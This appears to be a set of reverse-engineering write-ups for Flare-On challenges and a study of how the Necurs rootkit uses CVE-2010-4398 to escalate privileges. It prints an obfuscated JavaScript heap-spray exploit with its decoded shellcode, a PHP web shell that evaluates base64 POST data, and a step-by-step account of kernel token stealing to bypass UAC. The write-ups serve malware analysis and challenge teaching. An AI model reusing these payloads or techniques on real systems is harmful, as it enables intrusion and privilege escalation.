96
97
98
99
Javascript code:

==================== Original Javascript code ====================

var HdPN = "";
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
var IxTUQnOvHg = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff");
var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 128; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length < fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY += OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;
UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length - fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
while (MOysyGgYplwyZzNdETHwkru.length + fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru + MOysyGgYplwyZzNdETHwkru + UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;
DPwxazRhwbQGu = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 100; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 142; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);
QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length - bGtvKT);
while (QCZabMzxQiD.length + bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD + QCZabMzxQiD + Juphd;
FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 125; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;

===================================================================


Unescaped bytes:

f9 72 49 46 25 15 0d 7f 3c 3d 84 e0 2a d6 39 e1   |.rIF%..<=..*.9.|
4a a8 b9 76 24 98 78 73 71 7d 7f 75 76 20 d4 96   |J..v$.xsq}uv ..|
91 ba 70 19 f9 b8 32 e2 7b 46 a8 9b 01 fe c6 c7   |..p...2.{F......|
c1 e3 24 7e 7c 43 80 e1 15 b1 b2 b3 66 4f b6 27   |..$~|C......fO.'|
3c 9f 4e 7a 2d 41 bf bb 05 77 28 f5 93 92 90 99   |<.Nz-A...w(.....|
98 a9 47 0a eb 14 49 3d 4b 48 2f 37 8d b9 78 34   |..G...I=KH/7..x4|
b4 0b d2 d5 31 e0 72 35 10 d6 40 67 be 2b fd 4a   |....1.r5..@g.+.J|
1c 04 97 3f 3a fc 79 74 1d 42 b5 b7 2c 0c 0d 13   |...?:.yt.B..,...|
f8 25 b0 76 79 4e b1 7b 66 0c bb 2d 1c 91 2f a9   |.%.vyN.{f..-../.|
2c b8 b0 8d 7e 0d 96 3b d4 49 6b d5 b7 03 f7 e1   |,...~..;.Ik.....|
7d 46 b9 77 42 3d 1d 11 e0 67 92 4b 85 eb 71 24   |}F.wB=...g.K..q$|
48 9b 02 f9 15 4f ba 04 00 e3 27 87 d6 9f 70 47   |H....O....'...pG|
7a 18 e2 73 1b fd 74 25 7c 43 90 41 b6 97 99 14   |z..s..t%|C.A....|
3c 78 37 83 f8 b3 35 72 3f 69 f5 98 be 7f 75 4a   |<x7...5r?i...uJ|
93 b4 a8 b5 bf 21 d0 fc 40 34 7b 05 b2 b2 71 7c   |.....!..@4{...q||
4e 81 e1 22 eb 04 4a 88 e2 2c 2d 49 42 8d b3 75   |N.."..J..,-IB..u|
23 f5 7f 72 0b fc 97 01 f7 d3 f9 90 be 41 1c a8   |#.r.........A..|
25 7d 35 b1 78 79 0a f8 32 fd 9b 76 1d 92 b4 bb   |%}5.xy..2..v....|
b8 77 7e 70 73 40 7a 0c 89 d6 91 24 46 14 ba 9f   |.w~ps@z....$F...|
87 c0 d4 0d b0 4b 2f b6 81 e3 74 05 b9 3f 67 1b   |.....K/...t..?g.|
d5 93 96 83 e0 66 b5 47 b7 98 3c 15 34 a9 48 37   |.....f.G..<.4.H7|
27 3d 75 4f bf 8c e2 43 99 b8 73 38 eb 7d 7a 25   |'=uO...C..s8.}z%|
85 f9 8d bb 91 7f 67 96 92 b2 79 48 3c 4a 33 d4   |.....g...yH<J3.|
a9 97 7e 37 47 b3 3d 93 24 05 3f 9f 39 e1 71 35   |..~7G.=.$.?.9.q5|
b4 23 d6 a8 14 88 d1 f8 72 42 ba 76 08 fd 41 be   |.#......rB.v..A.|
4b b5 0d 15 77 43 74 11 e3 78 20 e0 1c 04 bf 40   |K...wCt..x ....@|
10 d5 27 b7 b1 70 2b f5 2f 22 fc 4e 9b 98 1d 90   |..'..p+./".N....|
2c b6 7c 4f 2d 34 66 0c 99 b0 49 7b 7a 78 7e 7f   |,.|O-4f...I{zx~|
73 7d 46 b9 91 b0 8d 92 bf 90 b7 21 f6 e0 4b 13   |s}F........!..K.|
f5 29 eb 67 77 25 86 e1 05 2a d6 66 b9 a8 35 15   |.).gw%...*.f..5.|
96 42 98 34 99 b1 ba b4 2c b5 12 f8 93 4f 76 7b   |.B.4....,....Ov{|
79 30 fd be 71 3f 40 4e b3 7c 75 27 09 e2 24 43   |y0..q?@N.|u'..$C|
70 0c 2d 18 e3 02 f9 4a 47 bb b6 41 9f 72 48 97   |p.-....JG..A.rH.|
80 d4 28 d5 9b 74 3c 1c 84 fc 7d 49 b8 7e 6b d2   |..(..t<...}I.~k.|
e0 1d 76 0d 74 31 eb 14 70 37 a9 71 3d 72 46 b2   |..v.t1..p7.q=rF.|
78 2f 7f 04 a9 b6 7b 1c 73 3a e1 3c be 19 f9 34   |x/...{.s:.<...4|
00 d5 7a 03 f8 e2 24 b0 4e fd 79 3d 96 75 15 9b   |..z...$.N.y=.u..|
49 7c 2f b4 4f 9f 99 47 3b c1 d0 e3 14 40 3f 90   |I|/.O..G;....@?.|
bf 41 97 43 8d b8 48 b5 77 0d b2 4a 93 2d 67 92   |.A.C..H.w..J.-g.|
98 b1 1a fc b9 d4 2c b3 f5 ba 0c 69 d6 91 a8 04   |......,....i....|
bb 1d 66 46 05 25 b7 35 42 37 27 4b 90 fc 33 d2   |..fF.%.5B7'K..3.|
b2 30 64 ff 32 5a 8b 52 0c 8b 52 14 8b 72 28 33   |.0d.2Z.R..R..r(3|
c9 b1 18 33 ff 33 c0 ac 3c 61 7c 02 2c 20 c1 cf   |...3.3..<a|., ..|
0d 03 f8 e2 f0 81 ff 5b bc 4a 6a 8b 5a 10 8b 12   |.......[.Jj.Z...|
75 da 8b 53 3c 03 d3 ff 72 34 8b 52 78 03 d3 8b   |u..S<...r4.Rx...|
72 20 03 f3 33 c9 41 ad 03 c3 81 38 47 65 74 50   |r ..3.A....8GetP|
75 f4 81 78 04 72 6f 63 41 75 eb 81 78 08 64 64   |u..x.rocAu..x.dd|
72 65 75 e2 49 8b 72 24 03 f3 66 8b 0c 4e 8b 72   |reu.I.r$..f..N.r|
1c 03 f3 8b 14 8e 03 d3 52 33 ff 57 68 61 72 79   |........R3.Whary|
41 68 4c 69 62 72 68 4c 6f 61 64 54 53 ff d2 68   |AhLibrhLoadTS..h|
33 32 01 01 66 89 7c 24 02 68 75 73 65 72 54 ff   |32..f.|$.huserT.|
d0 68 6f 78 41 01 8b df 88 5c 24 03 68 61 67 65   |.hoxA....\$.hage|
42 68 4d 65 73 73 54 50 ff 54 24 2c 57 68 44 21   |BhMessTP.T$,WhD!|
21 21 68 4f 57 4e 45 8b dc e8 00 00 00 00 8b 14   |!!hOWNE.........|
24 81 72 0b 16 a3 fb 32 68 79 ce be 32 81 72 17   |$.r....2hy..2.r.|
ae 45 cf 48 68 c1 2b e1 2b 81 72 23 10 36 9f d2   |.E.Hh.+.+.r#.6..|
68 71 44 fa ff 81 72 2f f7 a9 a9 0c 68 84 e9 cf   |hqD...r/....h...|
60 81 72 3b be 93 a9 43 68 d2 a3 98 37 81 72 47   |`.r;...Ch...7.rG|
82 8a 62 3b 68 ef a4 11 4b 81 72 53 d6 47 c0 cc   |..b;h...K.rS.G..|
68 be 69 a4 ff 81 72 5f a3 ca 54 31 68 d4 ab 65   |h.i...r_..T1h..e|
52 8b cc 57 53 51 57 8b f1 89 f7 83 c7 1e 39 fe   |R..WSQW.......9.|
7d 0b 81 36 42 45 45 46 83 c6 04 eb f1 ff d0 68   |}..6BEEF.......h|
65 73 73 01 8b df 88 5c 24 03 68 50 72 6f 63 68   |ess....\$.hProch|
45 78 69 74 54 ff 74 24 40 ff 54 24 40 57 ff d0   |ExitT.t$@.T$@W..|

Nice, this result looks like a shellcode to me :–). Next step – IDA.

As you can see, part of the shellcode is busy with finding and preparing all the infrastructure for the execution – finding:

  • LoadLibraryA to get user32.dll
  • GetProcAddress to get MessageBox and ProcessExit which are used to show the encoded mail and exit the process respectively.

At the end you can find the “secret” we’ve been after. After call there are series of xors that are decoding the message parts which are immediately pushed into the stack.

Decoding example
1
2
3
4
5
6
7
8
...

0:   call 5
5:   mov edx, [esp]                             ; edx = 5
8:   xor sword ptr [edx + 0xB], 0x32FBA316      ; edx + 0xA (size of line (5) and (8)) + 1 (size of push) = edx + 0xB
F:    push 0x32BECE79                             ; after above line execution the 0x456D6F will be actually pushed

...

For each encoded part, I’ve commented the decoded result of the message by decoding it with the help of calc.exe. Pay attention, that the bytes on the screenshot are in the reverse order. So, the final result is:

wa1ch.d3m.spl01ts@flare-on.com

PS

The author wanted you to open the debugger and go under-hood, so before the final message is shown with MessageBox, it will be encoded again :–)

Flare-On Challenge III Solution

Back to Solutions List

This challenge is about analyzing a binary file. Let’s load it into IDA. What we see here is a sort of “obfuscation” where the actual code (payload) is moved into the stack by the loader and executed from there:

The payload is actually a multi-stage xor based, self decrypting code which in our case has various funny sentences revealed in every decrypted part:

Stage Result
|
|

I hope, you’ve got the idea here. I’ll omit several stages and come straight to the last meaningful stage where the email we’ve been looking for is revealed:

Flare-On Challenge II Solution

Back to Solutions List

In this one, flare-on.com site was attacked. The attacker left “something” behind for us to investigate. We are getting the snapshot of the site for analysis and the email is somewhere inside:

After analysis of the original site against the challenge files, the “secret” is found in the image file (flare-on.png) and that is where the “digging” will take place:

Let’s extract that hidden message for further processing:

Hidden message inside the image - Stage 0
1
2
3
4
5
6
<?php echo('SHIT'); ?>
<?php
  $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
  $order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47); $do_me="";
  for($i=0;$i<count($order);$i++){$do_me=$do_me.$terms[$order[$i]];}
  eval($do_me); ?>}

Clearly, something will be evaluated eval($do_me); and I start from calculating $do_me variable by using some online php evaluator:

Creating the code for execution - Stage 1
1
2
3
4
$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';
$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));

So, there are 3 variables holding the code in various encodings/obfucations:

  • base64 encoding – $S_, $__
  • hex char representation – $___

Let’s remove the obfuscation to see the clear picture:

Remove base64 encoding - Stage 2
1
2
3
4
5
6
7
$_='if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }';

$__='$code=base64_decode($_);eval($code);';

$___="base64_decode";

eval($___($__));

Now it’s clear what is going on and effectively the above means that the following code will be executed:

Final Code - Stage 3
1
2
3
4
5
6
7
$code = "
 if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) 
 { 
     eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); 
 }
 "
eval($code);

Those $_POSTs inclose “obfuscated” strings which are represented by ascii numerical values of characters and both by the way are the same. In several simple steps we get the encoded message which is the email address and again I’ll leave for you to discover the full one:

—–.——.java5crap@flare-on.com

Flare-On - Challenge I Solution

Back to Solutions List

So, the first binary can be downloaded from the original site. Quick check shows that this is a .NET executable with some humor:

Using very handy tool, ILSpy, let’s check the source of this funny thing with emphasis on the implementation of Decode event handler:

OnClick Decode handler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void btnDecode_Click(object sender, EventArgs e)
{
  this.pbRoge.Image = Resources.bob_roge;
  byte[] dat_secret = Resources.dat_secret;
  string text = "";
  for (int i = 0; i < dat_secret.Length; i++)
  {
      byte b = dat_secret[i];
      text += (char)((b >> 4 | ((int)b << 4 & 240)) ^ 41);
  }
  text += "\0";
  string text2 = "";
  for (int j = 0; j < text.Length; j += 2)
  {
      text2 += text[j + 1];
      text2 += text[j];
  }
  string text3 = "";
  for (int k = 0; k < text2.Length; k++)
  {
      char arg_B6_0 = text2[k];
      text3 += (char)((byte)text2[k] ^ 102);
  }
  this.lbl_title.Text = text3;
}

The evident thing here is the presence of Resources.dat_secret which holds the solution to the challenge. So, here we have text, text2 and text3 which will probably have the email I’m looking for. One can solve the challenge by writing some code which will decode the resource and reveal the secret. But, I say, if the decoder is already written in this case and in front of me, why no use it :–).

I just add some MessageBox calls to the code and recompile it back. This will show me the variables!

OnClick Decode handler with MessageBox calls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void btnDecode_Click(object sender, EventArgs e)
{
  ...
  
  for (int i = 0; i < dat_secret.Length; i++)
  {
      byte b = dat_secret[i];
      text += (char)((b >> 4 | ((int)b << 4 & 240)) ^ 41);
  }
  text += "\0";
  
  MessageBox.Show(text);
  
  ...
  
  MessageBox.Show(text2);

}

Here is the resulting email. I’ll leave the final discovery to you :–)

Necurs Kit Privilege Escalation Study

Introduction

Recently there were several new posts (FSecure Post and Peter Ferrie) about updates to the Necurs malicious kit which in essence is based on the malicious driver with sole purpose to protect other malware from security products. The updated version is now shipped as an embedded self-contained launch-and-forget shellcode which will drop the appropriate driver according to the underlingg OS and on successful deployment will start immediate protection. The authors of the kit will supply the client several APIs that could be used to operate the driver.

I knew that for driver loading on OSs above Vista, it was using privilege escalation vulnerability. It was interesting to understand how that exploit was used in Necurs’ case and as I was unable to find a fine explanation, I studied it by myself . Here I present my findings for the matter.

Deployment

As already mentioned, Necurs operates as a 3rd party driver – meaning, the user will need Admin rights to actually use it. Being a 3rd-party product, it needs to operate on verity of Windows OSs:

  • Windows XP – by default the logged-in user is already Admin, so no problem here.
  • Vista and above – the user will probably have UAC enabled which will prevent driver loading.

So, the solution for Vista and above was based on the CVE-2010-4398 local privilege escalation vulnerability. It’s nicely explained in several places – by the author and Peter Kleissner.

UAC By-Pass

The by-pass is based on changing the security token of the malicious process by the “powerful” one which is borrowed from the system process in kernel space. This task is achieved in the following way:

  • kernel APIs resolution – as the exploit shellcode will actually be executed in the kernel space, it will need the appropriate API addresses to do so. Those APIs are resolved by extracting the APIs’ RVAs from the ntoskrnl.exe file and finding the actual ntoskrnl.exe base address (using ZwQuerySystemInformation).
  • registry preparation – craft registry data in the way, that will trigger the CVE-2010-4398 exploit as explained in the original article by calling EnableEUDC.
  • exploit shellcode execution – get security token (PsReferencePrimaryToken) from the initial system process (PsInitialSystemProcess) and replace the current process’s (IoGetCurrentProcess) token with the new one (Fig. 1). Once token replaced, the shellcode will return to the original execution flow.

Figure 1: Grant Administrator privileges to current process

Multi-OS support was achieved by using predefined offsets to the Token member in the EPROCESS structure (Fig 2).

Figure 2: Multi-OS support

Return from exploit shellcode

Once the exploitation was done, the exploit shellcode will try to return to the original execution flow, as if nothing has happened (in other words, internal_func_b finished its execution properly – see below). For the explanation, I’ll use arbitrary symbolic addresses to describe the following call stack and 32 bit shellcode version:

EnableEUDC
NtGdiEnableEUDC
GreEnableEUDC
internal_func_a
internal_func_b
RtlQueryRegistryValues

To understand the trick, let’s look how ESP changes from the call EnableEUDC till the stack overflow at RtlQueryRegistryValues. The overflow will overwrite the return address of internal_func_b (for explanation please read here). ESP undergoes the following changes and this “picture” of ESP is what exploit shellcode will see (Fig 3):

ESP address ESP pointed data Remarks
0x0 1 parameter for EnableEUDC
0x4 0xae1efe return after EnableEUDC
0x8 shellcode EBP EIP is currently in GreEnableEUDC
0xC param 1
0x10 param 2
0x14 0xbf81b8d0 return after call to internal_func_a
0x18 internal_func_a EBP
0x3C local vars local params in internal_func_a
0x40 reg value
0x44 reg value
0x48 reg value this is what exploit shellcode sees

Figure 3: Return from exploit shellcode

